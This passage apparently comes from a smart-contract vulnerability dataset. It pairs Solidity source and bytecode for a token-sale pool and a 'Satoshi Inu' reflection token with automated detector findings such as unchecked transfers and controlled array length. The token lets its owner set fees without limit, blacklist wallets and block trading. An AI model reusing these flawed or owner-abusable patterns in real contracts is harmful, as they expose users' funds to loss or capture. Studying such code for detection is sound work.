function pushTerms (Commission[] _array) public {
require(msg.sender == owner);
for (uint256 i = 0; i < _array.length; i++) {
terms[termsIndex].array.push(Commission(_array[i].gt, _array[i].lte, _array[i].pa));
}
terms[termsIndex].length = terms[termsIndex].array.length;
termsIndex++;
}
function createPipe (
uint256 _termsNumber,
uint256 _allowance,
bytes32 _secretHash
) public {
require(msg.sender == owner);
SalesPipe pipe = new SalesPipe(owner, _termsNumber, smartToken, _secretHash);
address pipeAddress = address(pipe);
smartToken.approve(pipeAddress, _allowance);
indexToPipe[pipeIndex] = pipe;
pipeToIndex[pipeAddress] = pipeIndex;
pipeIndex++;
emit CreateSalesPipe(pipeAddress);
}
function setSalesPipeAllowance (address _pipeAddress, uint256 _value) public {
require(msg.sender == owner);
smartToken.approve(_pipeAddress, _value);
}
function poolTokenAmount () public view returns (uint256) {
return smartToken.balanceOf(address(this));
}
function transferEther(address _to, uint256 _value) public {
require(msg.sender == owner);
_to.transfer(_value);
}
function transferToken(ERC20 erc20, address _to, uint256 _value) public {
require(msg.sender == owner);
erc20.transfer(_to, _value);
}
function setOwner (address _owner) public {
require(msg.sender == owner);
owner = _owner;
}
function setSmartToken(address _smartTokenAddress) public {
require(msg.sender == owner);
smartToken = ERC20(_smartTokenAddress);
}
function setTokenPrice(uint256 numerator, uint256 denominator) public {
require(msg.sender == owner);
require(
numerator > 0 &&
denominator > 0
);
tokenPrice.numerator = numerator;
tokenPrice.denominator = denominator;
}
function getTokenPrice () public view returns (uint256, uint256) {
return (tokenPrice.numerator, tokenPrice.denominator);
}
function getCommissions (uint256 _termsNumber) public view returns (Commissions) {
return terms[_termsNumber];
}
function () payable external {}
}
contract SalesPipe {
using Math for uint256;
SalesPool public pool;
address public owner;
uint256 public termsNumber;
ERC20 public smartToken;
address public rf = address(0);
bytes32 public secretHash;
bool public available = true;
bool public finalized = false;
uint256 public totalEtherReceived = 0;
event TokenPurchase(
ERC20 indexed smartToken,
address indexed buyer,
address indexed receiver,
uint256 value,
uint256 amount
);
event RFDeclare (address rf);
event Finalize (uint256 fstkRevenue, uint256 rfReceived);
constructor (
address _owner,
uint256 _termsNumber,
ERC20 _smartToken,
bytes32 _secretHash
) public {
pool = SalesPool(msg.sender);
owner = _owner;
termsNumber = _termsNumber;
smartToken = _smartToken;
secretHash = _secretHash;
}
function () external payable {
Math.Fraction memory tokenPrice;
(tokenPrice.numerator, tokenPrice.denominator) = pool.getTokenPrice();
address poolAddress = address(pool);
uint256 availableAmount =
Math.min(
smartToken.allowance(poolAddress, address(this)),
smartToken.balanceOf(poolAddress)
);
uint256 revenue;
uint256 purchaseAmount = msg.value.div(tokenPrice);
require(
available &&
finalized == false &&
availableAmount > 0 &&
purchaseAmount > 0
);
if (availableAmount >= purchaseAmount) {
revenue = msg.value;
if (availableAmount == purchaseAmount) {
available = false;
}
} else {
purchaseAmount = availableAmount;
revenue = availableAmount.mulCeil(tokenPrice);
available = false;
msg.sender.transfer(msg.value - revenue);
}
smartToken.transferFrom(poolAddress, msg.sender, purchaseAmount);
emit TokenPurchase(smartToken, msg.sender, msg.sender, revenue, purchaseAmount);
totalEtherReceived += revenue;
}
function declareRF(string _secret) public {
require(
secretHash == keccak256(abi.encodePacked(_secret)) &&
rf == address(0)
);
rf = msg.sender;
emit RFDeclare(rf);
}
function finalize () public {
require(
msg.sender == owner &&
available == false &&
finalized == false &&
rf != address(0)
);
finalized = true;
address poolAddress = address(pool);
uint256 rfEther = calculateCommission(address(this).balance, termsNumber);
uint256 fstkEther = address(this).balance - rfEther;
rf.transfer(rfEther);
poolAddress.transfer(fstkEther);
emit Finalize(fstkEther, rfEther);
}
function calculateCommission (
uint256 _totalReceivedEther,
uint256 _termsNumber
) public view returns (uint256) {
SalesPool.Commissions memory commissions = pool.getCommissions(_termsNumber);
for (uint256 i = 0; i < commissions.length; i++) {
SalesPool.Commission memory commission = commissions.array[i];
if (_totalReceivedEther > commission.gt && _totalReceivedEther <= commission.lte) {
return _totalReceivedEther * commission.pa / 100;
}
}
return 0;
}
function setOwner (address _owner) public {
require(msg.sender == owner);
owner = _owner;
}
function setTermsNumber (uint256 _termsNumber) public {
require(msg.sender == owner);
termsNumber = _termsNumber;
}
function setAvailability (bool _available) public {
require(msg.sender == owner);
available = _available;
}
}
library Math {
struct Fraction {
uint256 numerator;
uint256 denominator;
}
function isPositive(Fraction memory fraction) internal pure returns (bool) {
return fraction.numerator > 0 && fraction.denominator > 0;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 r) {
r = a * b;
require((a == 0) || (r / a == b));
}
function div(uint256 a, uint256 b) internal pure returns (uint256 r) {
r = a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 r) {
require((r = a - b) <= a);
}
function add(uint256 a, uint256 b) internal pure returns (uint256 r) {
require((r = a + b) >= a);
}
function min(uint256 x, uint256 y) internal pure returns (uint256 r) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) internal pure returns (uint256 r) {
return x >= y ? x : y;
}
function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) {
// try mul
r = value * m;
if (r / value == m) {
// if mul not overflow
r /= d;
} else {
// else div first
r = mul(value / d, m);
}
}
function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) {
// try mul
r = value * m;
if (r / value == m) {
// mul not overflow
if (r % d == 0) {
r /= d;
} else {
r = (r / d) + 1;
}
} else {
// mul overflow then div first
r = mul(value / d, m);
if (value % d != 0) {
r += 1;
}
}
}
function mul(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDiv(x, f.numerator, f.denominator);
}
function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDivCeil(x, f.numerator, f.denominator);
}
function div(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDiv(x, f.denominator, f.numerator);
}
function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) {
return mulDivCeil(x, f.denominator, f.numerator);
}
function mul(Fraction memory x, Fraction memory y) internal pure returns (Math.Fraction) {
return Math.Fraction({
numerator: mul(x.numerator, y.numerator),
denominator: mul(x.denominator, y.denominator)
});
}
} | 0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166313af403581146104e257806316f0115b1461050457806326a183751461052f57806348a0d7541461054f5780634bb278f3146105715780637ef3e741146105865780638da5cb5b146105a857806399b55343146105ca578063b3f05b97146105df578063bac506e0146105f4578063c3e8fb4014610609578063d18b07b21461061e578063d29e68031461063e578063e249a57514610653578063f056a5c714610673575b6100e2610d36565b6000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634b94f50e6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401604080518083038186803b15801561016a57600080fd5b505afa15801561017e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506101a29190810190611086565b602087015285526000546003546040517fdd62ed3e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9283169650610308929091169063dd62ed3e9061020d90889030906004016110ee565b60206040518083038186803b15801561022557600080fd5b505afa158015610239573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061025d919081019061102e565b6003546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116906370a08231906102b39089906004016110e0565b60206040518083038186803b1580156102cb57600080fd5b505afa1580156102df573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610303919081019061102e565b610693565b925061031a348663ffffffff6106ae16565b60065490915060ff1680156103375750600654610100900460ff16155b80156103435750600083115b801561034f5750600081115b151561035a57600080fd5b80831061037c5734915080831415610377576006805460ff191690555b6103cc565b508161038e818663ffffffff6106c316565b6006805460ff1916905560405190925033903484900380156108fc02916000818181858888f193505050501580156103ca573d6000803e3d6000fd5b505b6003546040517f23b872dd00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116906323b872dd9061042690879033908690600401611109565b602060405180830381600087803b15801561044057600080fd5b505af1158015610454573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506104789190810190610f88565b506003546040513391829173ffffffffffffffffffffffffffffffffffffffff909116907fd1508eb33cb2ff0cd96cf67f00ab2c6b7fc5142d97832add4b29748b29111024906104cb908790879061115b565b60405180910390a450600780549091019055505050005b3480156104ee57600080fd5b506105026104fd366004610f44565b6106d8565b005b34801561051057600080fd5b50610519610738565b604051610526919061114d565b60405180910390f35b34801561053b57600080fd5b5061050261054a366004610f6a565b610754565b34801561055b57600080fd5b5061056461078b565b6040516105269190611131565b34801561057d57600080fd5b50610502610794565b34801561059257600080fd5b5061059b610914565b604051610526919061113f565b3480156105b457600080fd5b506105bd61091a565b60405161052691906110e0565b3480156105d657600080fd5b5061059b610936565b3480156105eb57600080fd5b5061056461093c565b34801561060057600080fd5b506105bd61094a565b34801561061557600080fd5b50610519610966565b34801561062a57600080fd5b5061059b61063936600461104c565b610982565b34801561064a57600080fd5b5061059b610ab4565b34801561065f57600080fd5b5061050261066e366004611010565b610aba565b34801561067f57600080fd5b5061050261068e366004610fa6565b610ae3565b6000818311156106a357816106a5565b825b90505b92915050565b60006106a58383602001518460000151610c4c565b60006106a58383600001518460200151610c94565b60015473ffffffffffffffffffffffffffffffffffffffff1633146106fc57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60015473ffffffffffffffffffffffffffffffffffffffff16331461077857600080fd5b6006805460ff1916911515919091179055565b60065460ff1681565b6001546000908190819073ffffffffffffffffffffffffffffffffffffffff16331480156107c5575060065460ff16155b80156107d95750600654610100900460ff16155b80156107fc575060045473ffffffffffffffffffffffffffffffffffffffff1615155b151561080757600080fd5b6006805461ff00191661010017905560005460025473ffffffffffffffffffffffffffffffffffffffff909116935061084290303190610982565b6004546040519193503031849003925073ffffffffffffffffffffffffffffffffffffffff169083156108fc029084906000818181858888f19350505050158015610891573d6000803e3d6000fd5b5060405173ffffffffffffffffffffffffffffffffffffffff84169082156108fc029083906000818181858888f193505050501580156108d5573d6000803e3d6000fd5b507f9d3cb3e4bff976f636db6ed472093505eb1b5bafc234ea8276ae83b3ea0a8b74818360405161090792919061115b565b60405180910390a1505050565b60075481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600654610100900460ff1681565b60045473ffffffffffffffffffffffffffffffffffffffff1681565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b600061098c610d4d565b6000610996610d65565b6000546040517f1a88cc3100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911690631a88cc31906109ec90889060040161113f565b60006040518083038186803b158015610a0457600080fd5b505afa158015610a18573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a409190810190610fdb565b9250600091505b8260200151821015610aa6578251805183908110610a6157fe5b906020019060200201519050806000015186118015610a84575080602001518611155b15610a9b5760408101516064908702049350610aab565b600190910190610a47565b600093505b50505092915050565b60055481565b60015473ffffffffffffffffffffffffffffffffffffffff163314610ade57600080fd5b600255565b806040516020018082805190602001908083835b60208310610b165780518252601f199092019160209182019101610af7565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310610b795780518252601f199092019160209182019101610b5a565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091206005541492505081159050610bcd575060045473ffffffffffffffffffffffffffffffffffffffff16155b1515610bd857600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff19163317908190556040517fc99430857c2cdea7c71b0bfb21f2f52a058e57959289dd417b68de4c9368b5e791610c419173ffffffffffffffffffffffffffffffffffffffff91909116906110e0565b60405180910390a150565b828202828482811515610c5b57fe5b041415610c75578181811515610c6d57fe5b049050610c8d565b610c8a8285811515610c8357fe5b0484610d11565b90505b9392505050565b828202828482811515610ca357fe5b041415610ce6578181811515610cb557fe5b061515610ccf578181811515610cc757fe5b049050610ce1565b8181811515610cda57fe5b0460010190505b610c8d565b610cf48285811515610c8357fe5b90508184811515610d0157fe5b0615610c8d576001019392505050565b818102821580610d2b5750818382811515610d2857fe5b04145b15156106a857600080fd5b604080518082019091526000808252602082015290565b60408051808201909152606081526000602082015290565b6060604051908101604052806000815260200160008152602001600081525090565b60006106a582356111e6565b6000601f82018313610da457600080fd5b8151610db7610db28261119d565b611176565b91508181835260208401935060208101905083856060840282011115610ddc57600080fd5b60005b83811015610e0a5781610df28882610e72565b84525060209092019160609190910190600101610ddf565b5050505092915050565b60006106a582356111ff565b60006106a582516111ff565b6000601f82018313610e3d57600080fd5b8135610e4b610db2826111be565b91508082526020830160208301858383011115610e6757600080fd5b610aab838284611212565b600060608284031215610e8457600080fd5b610e8e6060611176565b90506000610e9c8484610f38565b8252506020610ead84848301610f38565b6020830152506040610ec184828501610f38565b60408301525092915050565b600060408284031215610edf57600080fd5b610ee96040611176565b825190915067ffffffffffffffff811115610f0357600080fd5b610f0f84828501610d93565b8252506020610f2084848301610f38565b60208301525092915050565b60006106a58235611204565b60006106a58251611204565b600060208284031215610f5657600080fd5b6000610f628484610d87565b949350505050565b600060208284031215610f7c57600080fd5b6000610f628484610e14565b600060208284031215610f9a57600080fd5b6000610f628484610e20565b600060208284031215610fb857600080fd5b813567ffffffffffffffff811115610fcf57600080fd5b610f6284828501610e2c565b600060208284031215610fed57600080fd5b815167ffffffffffffffff81111561100457600080fd5b610f6284828501610ecd565b60006020828403121561102257600080fd5b6000610f628484610f2c565b60006020828403121561104057600080fd5b6000610f628484610f38565b6000806040838503121561105f57600080fd5b600061106b8585610f2c565b925050602061107c85828601610f2c565b9150509250929050565b6000806040838503121561109957600080fd5b60006110a58585610f38565b925050602061107c85828601610f38565b6110bf816111e6565b82525050565b6110bf816111ff565b6110bf81611204565b6110bf81611207565b602081016106a882846110b6565b604081016110fc82856110b6565b610c8d60208301846110b6565b6060810161111782866110b6565b61112460208301856110b6565b610f6260408301846110ce565b602081016106a882846110c5565b602081016106a882846110ce565b602081016106a882846110d7565b6040810161116982856110ce565b610c8d60208301846110ce565b60405181810167ffffffffffffffff8111828210171561119557600080fd5b604052919050565b600067ffffffffffffffff8211156111b457600080fd5b5060209081020190565b600067ffffffffffffffff8211156111d557600080fd5b506020601f91909101601f19160190565b73ffffffffffffffffffffffffffffffffffffffff1690565b151590565b90565b60006106a8826111e6565b828183375060009101525600a265627a7a723058205499b79809a25ecb6ffb0019f627b1acafae1b2efadd0de2a0c271576f2c346f6c6578706572696d656e74616cf50037 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 882 |
0x03f7767c5f95709800b1a4e000106337a5fca514 | /**
*Submitted for verification at Etherscan.io on 2022-03-09
*/
/**
https://t.me/satoshiinuerc
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SatoshiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Satoshi Inu";
string private constant _symbol = "SATINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x24E200942467eCD92dBB754Dc50B150AbF7192cf);
address payable private _marketingAddress = payable(0x24E200942467eCD92dBB754Dc50B150AbF7192cf);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b357600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611962565b6105fe565b005b34801561020a57600080fd5b5060408051808201909152600b81526a5361746f73686920496e7560a81b60208201525b60405161023b9190611a27565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a7c565b61069d565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50670de0b6b3a76400005b60405190815260200161023b565b3480156102dd57600080fd5b506102646102ec366004611aa8565b6106b4565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023b565b34801561032f57600080fd5b50601554610294906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611ae9565b61071d565b34801561036f57600080fd5b506101fc61037e366004611b16565b610768565b34801561038f57600080fd5b506101fc6107b0565b3480156103a457600080fd5b506102c36103b3366004611ae9565b6107fb565b3480156103c457600080fd5b506101fc61081d565b3480156103d957600080fd5b506101fc6103e8366004611b31565b610891565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611ae9565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610294565b34801561045a57600080fd5b506101fc610469366004611b16565b6108c0565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b50604080518082019091526006815265534154494e5560d01b602082015261022e565b34801561